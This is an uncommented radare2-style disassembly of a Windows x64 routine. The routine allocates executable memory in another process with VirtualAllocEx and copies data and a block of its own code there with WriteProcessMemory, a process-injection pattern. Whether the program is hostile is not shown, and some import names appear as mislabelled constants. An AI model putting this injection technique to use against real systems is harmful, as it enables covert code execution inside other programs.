je 0x1401c48d6
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0x2e0]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.1401c7550
mov rbx, qword [rbp + 0x550]
mov qword [rbp - 0x20], rbx
test eax, eax
js 0x1401c48da
test rbx, rbx
je 0x1401c48da
xor esi, esi
lea rcx, [rbp + 0x870]
xor edx, edx
mov dword [rbp + 0x86c], esi
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x14051faa0]
xor eax, eax
mov edx, dword [0x14051fa20]
xorps xmm0, xmm0
mov r8d, dword [0x14051fa90]
mov qword [rbp + 0xa70], rax
mov qword [rbp + 0xa98], rax
mov dword [rbp + 0xab0], eax
mov qword [rbp + 0xad8], rax
mov qword [rbp + 0xae0], rax
mov qword [rbp + 0xb18], rax
lea rax, [rbp - 0x18]
mov qword [rbp + 0xab8], rax
mov eax, dword [0x14051e4f4]
mov qword [rbp + 0xad0], rsi
mov qword [rbp + 0xae8], rsi
mov word [rbp + 0xaf0], si
mov qword [rbp + 0x860], 0xaed0de
mov dword [rbp + 0x868], 9
mov dword [rbp + 0xab4], edi
mov qword [rbp + 0xac0], rbx
mov dword [rbp + 0xac8], getservbyname
movups xmmword [rbp + 0xa78], xmm0
movups xmmword [rbp + 0xa88], xmm0
movups xmmword [rbp + 0xaa0], xmm0
movups xmmword [rbp + 0xaf8], xmm0
movups xmmword [rbp + 0xb08], xmm0
test eax, eax
je 0x1401c48da
mov dword [rsp + 0x50], ecx
xor ebx, ebx
lea rcx, [rbp + 0x860]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.1401c7550
test eax, eax
jns 0x1401c4da9
jmp 0x1401c48da
mov rcx, qword [r15 + 0x68]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x1401c48da
mov rcx, qword [r15 + 0x68]
lea r8, [rbp - 0x18]
mov r9d, gethostbyaddr
mov qword [rsp + 0x20], rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1401c4ac1
cmp r13d, 3
jne 0x1401c4dbf
mov rcx, qword [rbp + 0x10f8]
mov rax, qword [rbp - 0x20]
mov qword [rcx], rax
jmp 0x1401c4dd3
cmp r13d, 2
jne 0x1401c4dd3
mov rcx, qword [rbp + 0x10f8]
mov rax, qword [rcx]
mov qword [rbp - 0x20], rax
cmp dword [r15 + 0x74], 1
jne 0x1401c4f0b
mov rbx, qword [r15 + 0x58]
lea rcx, [rbp + 0xb30]
xor esi, esi
xor edx, edx
mov r8d, 0x200
mov dword [rbp + 0xb2c], esi
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x14051faa0]
xor eax, eax
mov edx, dword [0x14051fa20]
xorps xmm0, xmm0
mov r8d, dword [0x14051fa90]
mov qword [rbp + 0xd30], rax
mov qword [rbp + 0xd58], rax
mov dword [rbp + 0xd70], eax
mov qword [rbp + 0xd98], rax
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0xdd8], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0xd78], rax
mov eax, dword [0x14051e4f4]
mov qword [rbp + 0xd90], rsi
mov qword [rbp + 0xda8], rsi
mov word [rbp + 0xdb0], si
mov esi, dword [rbp - 0x7c]
mov qword [rbp + 0xb20], 0xaed0de
mov dword [rbp + 0xb28], 9
mov dword [rbp + 0xd74], esi
mov qword [rbp + 0xd80], rbx
mov dword [rbp + 0xd88], getservbyname
movups xmmword [rbp + 0xd38], xmm0
movups xmmword [rbp + 0xd48], xmm0
movups xmmword [rbp + 0xd60], xmm0
movups xmmword [rbp + 0xdb8], xmm0
movups xmmword [rbp + 0xdc8], xmm0
test eax, eax
je 0x1401c4ef7
mov dword [rsp + 0x50], ecx
xor ebx, ebx
lea rcx, [rbp + 0xb20]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.1401c7550
test eax, eax
jns 0x1401c4f2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 9
jmp 0x1401c48e9
mov rdx, qword [r15 + 0x58]
lea r8, [rbp - 0x48]
mov rcx, qword [r15 + 0x68]
mov r9d, gethostbyaddr
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1401c4ef7
mov esi, dword [rbp - 0x7c]
lea rdi, [0x1401c5c40]
lea r14, [0x1401c5a90]
sub edi, r14d
cmp dword [r15 + 0x74], 1
jne 0x1401c506e
mov rbx, qword [r15 + 0x50]
lea rcx, [rbp + 0xdf0]
xor r15d, r15d
xor edx, edx
mov r8d, 0x200
mov dword [rbp + 0xdec], r15d
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x14051faa0]
xor eax, eax
mov edx, dword [0x14051fa20]
xorps xmm0, xmm0
mov r8d, dword [0x14051fa90]
mov qword [rbp + 0xff0], rax
mov qword [rbp + 0x1018], rax
mov dword [rbp + 0x1030], eax
mov qword [rbp + 0x1058], rax
mov qword [rbp + 0x1060], rax
mov qword [rbp + 0x1098], rax
mov eax, dword [0x14051e4f4]
mov qword [rbp + 0x1050], r15
mov qword [rbp + 0x1068], r15
mov word [rbp + 0x1070], r15w
mov qword [rbp + 0xde0], 0xaed0de
mov dword [rbp + 0xde8], 9
mov dword [rbp + 0x1034], esi
mov qword [rbp + 0x1040], rbx
mov qword [rbp + 0x1038], r14
mov dword [rbp + 0x1048], edi
movups xmmword [rbp + 0xff8], xmm0
movups xmmword [rbp + 0x1008], xmm0
movups xmmword [rbp + 0x1020], xmm0
movups xmmword [rbp + 0x1078], xmm0
movups xmmword [rbp + 0x1088], xmm0
test eax, eax
je 0x1401c505a
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0xde0]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
call fcn.1401c7550
test eax, eax
jns 0x1401c508f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 9
jmp 0x1401c48e9
mov rdx, qword [r15 + 0x50]
mov r8, r14
mov rcx, qword [r15 + 0x68]
mov r9d, edi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1401c4ef7
xor eax, eax
jmp 0x1401c48e9